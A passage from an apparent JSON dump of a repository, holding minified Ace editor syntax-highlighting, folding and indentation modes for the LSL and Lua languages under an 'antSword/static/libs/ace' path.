llGetColor|llGetCreator|llGetDate|llGetDisplayName|llGetEnergy|llGetEnv|llGetExperienceDetails|llGetExperienceErrorMessage|llGetForce|llGetFreeMemory|llGetFreeURLs|llGetGMTclock|llGetGeometricCenter|llGetHTTPHeader|llGetInventoryCreator|llGetInventoryKey|llGetInventoryName|llGetInventoryNumber|llGetInventoryPermMask|llGetInventoryType|llGetKey|llGetLandOwnerAt|llGetLinkKey|llGetLinkMedia|llGetLinkName|llGetLinkNumber|llGetLinkNumberOfSides|llGetLinkPrimitiveParams|llGetListEntryType|llGetListLength|llGetLocalPos|llGetLocalRot|llGetMass|llGetMassMKS|llGetMaxScaleFactor|llGetMemoryLimit|llGetMinScaleFactor|llGetNextEmail|llGetNotecardLine|llGetNumberOfNotecardLines|llGetNumberOfPrims|llGetNumberOfSides|llGetObjectDesc|llGetObjectDetails|llGetObjectMass|llGetObjectName|llGetObjectPermMask|llGetObjectPrimCount|llGetOmega|llGetOwner|llGetOwnerKey|llGetParcelDetails|llGetParcelFlags|llGetParcelMaxPrims|llGetParcelMusicURL|llGetParcelPrimCount|llGetParcelPrimOwners|llGetPermissions|llGetPermissionsKey|llGetPhysicsMaterial|llGetPos|llGetPrimMediaParams|llGetPrimitiveParams|llGetRegionAgentCount|llGetRegionCorner|llGetRegionFPS|llGetRegionFlags|llGetRegionName|llGetRegionTimeDilation|llGetRootPosition|llGetRootRotation|llGetRot|llGetSPMaxMemory|llGetScale|llGetScriptName|llGetScriptState|llGetSimStats|llGetSimulatorHostname|llGetStartParameter|llGetStaticPath|llGetStatus|llGetSubString|llGetSunDirection|llGetTexture|llGetTextureOffset|llGetTextureRot|llGetTextureScale|llGetTime|llGetTimeOfDay|llGetTimestamp|llGetTorque|llGetUnixTime|llGetUsedMemory|llGetUsername|llGetVel|llGetWallclock|llGiveInventory|llGiveInventoryList|llGiveMoney|llGround|llGroundContour|llGroundNormal|llGroundRepel|llGroundSlope|llHTTPRequest|llHTTPResponse|llInsertString|llInstantMessage|llIntegerToBase64|llJson2List|llJsonGetValue|llJsonSetValue|llJsonValueType|llKey2Name|llKeyCountKeyValue|llKeysKeyValue|llLinkParticleSystem|llLinkSitTarget|llList2CSV|llList2Float|llList2Integer|llList2Json|llList2Key|llList2List|llList2ListStrided|llList2Rot|llList2String|llList2Vector|llListFindList|llListInsertList|llListRandomize|llListReplaceList|llListSort|llListStatistics|llListen|llListenControl|llListenRemove|llLoadURL|llLog|llLog10|llLookAt|llLoopSound|llLoopSoundMaster|llLoopSoundSlave|llMD5String|llManageEstateAccess|llMapDestination|llMessageLinked|llMinEventDelay|llModPow|llModifyLand|llMoveToTarget|llNavigateTo|llOffsetTexture|llOpenRemoteDataChannel|llOverMyLand|llOwnerSay|llParcelMediaCommandList|llParcelMediaQuery|llParseString2List|llParseStringKeepNulls|llParticleSystem|llPassCollisions|llPassTouches|llPatrolPoints|llPlaySound|llPlaySoundSlave|llPow|llPreloadSound|llPursue|llPushObject|llReadKeyValue|llRegionSay|llRegionSayTo|llReleaseControls|llReleaseURL|llRemoteDataReply|llRemoteLoadScriptPin|llRemoveFromLandBanList|llRemoveFromLandPassList|llRemoveInventory|llRemoveVehicleFlags|llRequestAgentData|llRequestDisplayName|llRequestExperiencePermissions|llRequestInventoryData|llRequestPermissions|llRequestSecureURL|llRequestSimulatorData|llRequestURL|llRequestUsername|llResetAnimationOverride|llResetLandBanList|llResetLandPassList|llResetOtherScript|llResetScript|llResetTime|llReturnObjectsByID|llReturnObjectsByOwner|llRezAtRoot|llRezObject|llRot2Angle|llRot2Axis|llRot2Euler|llRot2Fwd|llRot2Left|llRot2Up|llRotBetween|llRotLookAt|llRotTarget|llRotTargetRemove|llRotateTexture|llRound|llSHA1String|llSameGroup|llSay|llScaleByFactor|llScaleTexture|llScriptDanger|llScriptProfiler|llSendRemoteData|llSensor|llSensorRemove|llSensorRepeat|llSetAlpha|llSetAngularVelocity|llSetAnimationOverride|llSetBuoyancy|llSetCameraAtOffset|llSetCameraEyeOffset|llSetCameraParams|llSetClickAction|llSetColor|llSetContentType|llSetDamage|llSetForce|llSetForceAndTorque|llSetHoverHeight|llSetKeyframedMotion|llSetLinkAlpha|llSetLinkCamera|llSetLinkColor|llSetLinkMedia|llSetLinkPrimitiveParams|llSetLinkPrimitiveParamsFast|llSetLinkTexture|llSetLinkTextureAnim|llSetLocalRot|llSetMemoryLimit|llSetObjectDesc|llSetObjectName|llSetParcelMusicURL|llSetPayPrice|llSetPhysicsMaterial|llSetPos|llSetPrimMediaParams|llSetPrimitiveParams|llSetRegionPos|llSetRemoteScriptAccessPin|llSetRot|llSetScale|llSetScriptState|llSetSitText|llSetSoundQueueing|llSetSoundRadius|llSetStatus|llSetText|llSetTexture|llSetTextureAnim|llSetTimerEvent|llSetTorque|llSetTouchText|llSetVehicleFlags|llSetVehicleFloatParam|llSetVehicleRotationParam|llSetVehicleType|llSetVehicleVectorParam|llSetVelocity|llShout|llSin|llSitTarget|llSleep|llSqrt|llStartAnimation|llStopAnimation|llStopHover|llStopLookAt|llStopMoveToTarget|llStopSound|llStringLength|llStringToBase64|llStringTrim|llSubStringIndex|llTakeControls|llTan|llTarget|llTargetOmega|llTargetRemove|llTeleportAgent|llTeleportAgentGlobalCoords|llTeleportAgentHome|llTextBox|llToLower|llToUpper|llTransferLindenDollars|llTriggerSound|llTriggerSoundLimited|llUnSit|llUnescapeURL|llUpdateCharacter|llUpdateKeyValue|llVecDist|llVecMag|llVecNorm|llVolumeDetect|llWanderWithin|llWater|llWhisper|llWind|llXorBase64\",\"support.function.event.lsl\":\"at_rot_target|at_target|attach|changed|collision|collision_end|collision_start|control|dataserver|email|experience_permissions|experience_permissions_denied|http_request|http_response|land_collision|land_collision_end|land_collision_start|link_message|listen|money|moving_end|moving_start|no_sensor|not_at_rot_target|not_at_target|object_rez|on_rez|path_update|remote_data|run_time_permissions|sensor|state_entry|state_exit|timer|touch|touch_end|touch_start|transaction_result\"},\"identifier\");this.$rules={start:[{token:\"comment.line.double-slash.lsl\",regex:\"\\\\/\\\\/.*$\"},{token:\"comment.block.begin.lsl\",regex:\"\\\\/\\\\*\",next:\"comment\"},{token:\"string.quoted.double.lsl\",start:'\"',end:'\"',next:[{token:\"constant.character.escape.lsl\",regex:/\\\\[tn\"\\\\]/}]},{token:\"constant.numeric.lsl\",regex:\"(0[xX][0-9a-fA-F]+|[+-]?[0-9]+(?:(?:\\\\.[0-9]*)?(?:[eE][+-]?[0-9]+)?)?)\\\\b\"},{token:\"entity.name.state.lsl\",regex:\"\\\\b((state)\\\\s+[A-Za-z_]\\\\w*|default)\\\\b\"},{token:e,regex:\"\\\\b[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"support.function.user-defined.lsl\",regex:/\\b([a-zA-Z_]\\w*)(?=\\(.*?\\))/},{token:\"keyword.operator.lsl\",regex:\"\\\\+\\\\+|\\\\-\\\\-|<<|>>|&&?|\\\\|\\\\|?|\\\\^|~|[!%<>=*+\\\\-\\\\/]=?\"},{token:\"invalid.illegal.keyword.operator.lsl\",regex:\":=?\"},{token:\"punctuation.operator.lsl\",regex:\"\\\\,|\\\\;\"},{token:\"paren.lparen.lsl\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen.lsl\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text.lsl\",regex:\"\\\\s+\"}],comment:[{token:\"comment.block.end.lsl\",regex:\"\\\\*\\\\/\",next:\"start\"},{token:\"comment.block.lsl\",regex:\".+\"}]},this.normalizeRules()}var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules;r.inherits(s,i),t.LSLHighlightRules=s}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return r.stepForward(),r.getCurrentTokenRow()!==n.row||this.$matchTokenType(r.getCurrentToken()||\"text\",a)},p.$matchTokenType=function(e,t){return t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#?region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/|--)#?(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),ace.define(\"ace/mode/lsl\",[\"require\",\"exports\",\"module\",\"ace/mode/lsl_highlight_rules\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/text\",\"ace/mode/behaviour/cstyle\",\"ace/mode/folding/cstyle\",\"ace/lib/oop\"],function(e,t,n){\"use strict\";var r=e(\"./lsl_highlight_rules\").LSLHighlightRules,i=e(\"./matching_brace_outdent\").MatchingBraceOutdent,s=e(\"../range\").Range,o=e(\"./text\").Mode,u=e(\"./behaviour/cstyle\").CstyleBehaviour,a=e(\"./folding/cstyle\").FoldMode,f=e(\"../lib/oop\"),l=function(){this.HighlightRules=r,this.$outdent=new i,this.$behaviour=new u,this.foldingRules=new a};f.inherits(l,o),function(){this.lineCommentStart=[\"//\"],this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(s.length&&s[s.length-1].type===\"comment.block.lsl\")return r;if(e===\"start\"){var u=t.match(/^.*[\\{\\(\\[]\\s*$/);u&&(r+=n)}return r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)},this.autoOutdent=function(e,t,n){this.$outdent.autoOutdent(t,n)},this.$id=\"ace/mode/lsl\"}.call(l.prototype),t.Mode=l})"
  },
  {
    "path": "antSword/static/libs/ace/mode-lua.js",
    "content": "ace.define(\"ace/mode/lua_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"break|do|else|elseif|end|for|function|if|in|local|repeat|return|then|until|while|or|and|not\",t=\"true|false|nil|_G|_VERSION\",n=\"string|xpcall|package|tostring|print|os|unpack|require|getfenv|setmetatable|next|assert|tonumber|io|rawequal|collectgarbage|getmetatable|module|rawset|math|debug|pcall|table|newproxy|type|coroutine|_G|select|gcinfo|pairs|rawget|loadstring|ipairs|_VERSION|dofile|setfenv|load|error|loadfile|sub|upper|len|gfind|rep|find|match|char|dump|gmatch|reverse|byte|format|gsub|lower|preload|loadlib|loaded|loaders|cpath|config|path|seeall|exit|setlocale|date|getenv|difftime|remove|time|clock|tmpname|rename|execute|lines|write|close|flush|open|output|type|read|stderr|stdin|input|stdout|popen|tmpfile|log|max|acos|huge|ldexp|pi|cos|tanh|pow|deg|tan|cosh|sinh|random|randomseed|frexp|ceil|floor|rad|abs|sqrt|modf|asin|min|mod|fmod|log10|atan2|exp|sin|atan|getupvalue|debug|sethook|getmetatable|gethook|setmetatable|setlocal|traceback|setfenv|getinfo|setupvalue|getlocal|getregistry|getfenv|setn|insert|getn|foreachi|maxn|foreach|concat|sort|remove|resume|yield|status|wrap|create|running|__add|__sub|__mod|__unm|__concat|__lt|__index|__call|__gc|__metatable|__mul|__div|__pow|__len|__eq|__le|__newindex|__tostring|__mode|__tonumber\",r=\"string|package|os|io|math|debug|table|coroutine\",i=\"\",s=\"setn|foreach|foreachi|gcinfo|log10|maxn\",o=this.createKeywordMapper({keyword:e,\"support.function\":n,\"invalid.deprecated\":s,\"constant.library\":r,\"constant.language\":t,\"invalid.illegal\":i,\"variable.language\":\"self\"},\"identifier\"),u=\"(?:(?:[1-9]\\\\d*)|(?:0))\",a=\"(?:0[xX][\\\\dA-Fa-f]+)\",f=\"(?:\"+u+\"|\"+a+\")\",l=\"(?:\\\\.\\\\d+)\",c=\"(?:\\\\d+)\",h=\"(?:(?:\"+c+\"?\"+l+\")|(?:\"+c+\"\\\\.))\",p=\"(?:\"+h+\")\";this.$rules={start:[{stateName:\"bracketedComment\",onMatch:function(e,t,n){return n.unshift(this.next,e.length-2,t),\"comment\"},regex:/\\-\\-\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"comment\",regex:\"\\\\-\\\\-.*$\"},{stateName:\"bracketedString\",onMatch:function(e,t,n){return n.unshift(this.next,e.length,t),\"comment\"},regex:/\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"string\",regex:'\"(?:[^\\\\\\\\]|\\\\\\\\.)*?\"'},{token:\"string\",regex:\"'(?:[^\\\\\\\\]|\\\\\\\\.)*?'\"},{token:\"constant.numeric\",regex:p},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:o,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\/|%|\\\\#|\\\\^|~|<|>|<=|=>|==|~=|=|\\\\:|\\\\.\\\\.\\\\.|\\\\.\\\\.\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+|\\\\w+\"}]},this.normalizeRules()};r.inherits(s,i),t.LuaHighlightRules=s}),ace.define(\"ace/mode/folding/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=e(\"../../token_iterator\").TokenIterator,u=t.FoldMode=function(){};r.inherits(u,i),function(){this.foldingStartMarker=/\\b(function|then|do|repeat)\\b|{\\s*$|(\\[=*\\[)/,this.foldingStopMarker=/\\bend\\b|^\\s*}|\\]=*\\]/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=this.foldingStartMarker.test(r),s=this.foldingStopMarker.test(r);if(i&&!s){var o=r.match(this.foldingStartMarker);if(o[1]==\"then\"&&/\\belseif\\b/.test(r))return;if(o[1]){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"start\"}else{if(!o[2])return\"start\";var u=e.bgTokenizer.getState(n)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"start\"}}if(t!=\"markbeginend\"||!s||i&&s)return\"\";var o=r.match(this.foldingStopMarker);if(o[0]===\"end\"){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"end\"}else{if(o[0][0]!==\"]\")return\"end\";var u=e.bgTokenizer.getState(n-1)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"end\"}},this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getLine(n),i=this.foldingStartMarker.exec(r);if(i)return i[1]?this.luaBlock(e,n,i.index+1):i[2]?e.getCommentFoldRange(n,i.index+1):this.openingBracketBlock(e,\"{\",n,i.index);var i=this.foldingStopMarker.exec(r);if(i)return i[0]===\"end\"&&e.getTokenAt(n,i.index+1).type===\"keyword\"?this.luaBlock(e,n,i.index+1):i[0][0]===\"]\"?e.getCommentFoldRange(n,i.index+1):this.closingBracketBlock(e,\"}\",n,i.index+i[0].length)},this.luaBlock=function(e,t,n){var r=new o(e,t,n),i={\"function\":1,\"do\":1,then:1,elseif:-1,end:-1,repeat:1,until:-1},u=r.getCurrentToken();if(!u||u.type!=\"keyword\")return;var a=u.value,f=[a],l=i[a];if(!l)return;var c=l===-1?r.getCurrentTokenColumn():e.getLine(t).length,h=t;r.step=l===-1?r.stepBackward:r.stepForward;while(u=r.step()){if(u.type!==\"keyword\")continue;var p=l*i[u.value];if(p>0)f.unshift(u.value);else if(p<=0){f.shift();if(!f.length&&u.value!=\"elseif\")break;p===0&&f.unshift(u.value)}}var t=r.getCurrentTokenRow();return l===-1?new s(t,e.getLine(t).length,h,c):new s(h,c,t,r.getCurrentTokenColumn())}}.call(u.prototype)}),ace.define(\"ace/mode/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lua_highlight_rules\",\"ace/mode/folding/lua\",\"ace/range\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lua_highlight_rules\").LuaHighlightRules,o=e(\"./folding/lua\").FoldMode,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(f,i),function(){function n(t){var n=0;for(var r=0;r<t.length;r++){var i=t[r];i.type==\"keyword\"?i.value in e&&(n+=e[i.value]):i.type==\"paren.lparen\"?n+=i.value.length:i.type==\"paren.rparen\"&&(n-=i.value.length)}return n<0?-1:n>0?1:0}this.lineCommentStart=\"--\",this.blockComment={start:\"--[\",end:\"]--\"};var e={\"function\":1,then:1,\"do\":1,\"else\":1,elseif:1,repeat:1,end:-1,until:-1},t=[\"else\",\"elseif\",\"end\",\"until\"];this.getNextLineIndent=function(e,t,r){var i=this.$getIndent(t),s=0,o=this.getTokenizer().getLineTokens(t,e),u=o.tokens;return e==\"start\"&&(s=n(u)),s>0?i+r:s<0&&i.substr(i.length-r.length)==r&&!this.checkOutdent(e,t,\"\\n\")?i.substr(0,i.length-r.length):i},this.checkOutdent=function(e,n,r){if(r!=\"\\n\"&&r!=\"\\r\"&&r!=\"\\r\\n\")return!1;if(n.match(/^\\s*[\\)\\}\\]]$/))return!0;var i=this.getTokenizer().getLineTokens(n.trim(),e).tokens;return!i||!i.length?!1:i[0].type==\"keyword\"&&t.indexOf(i[0].value)!=-1},this.autoOutdent=function(e,t,r){var i=t.getLine(r-1),s=this.$getIndent(i).length,o=this.getTokenizer().getLineTokens(i,\"start\").tokens,a=t.getTabString().length,f=s+a*n(o),l=this.$getIndent(t.getLine(r)).length;if(l<f)return;t.outdentRows(new u(r,0,r+2,0))},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/lua_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/lua\"}.call(f.prototype),t.Mode=f})"
  },
  {
    "path": "antSword/static/libs/ace/mode-luapage.js",
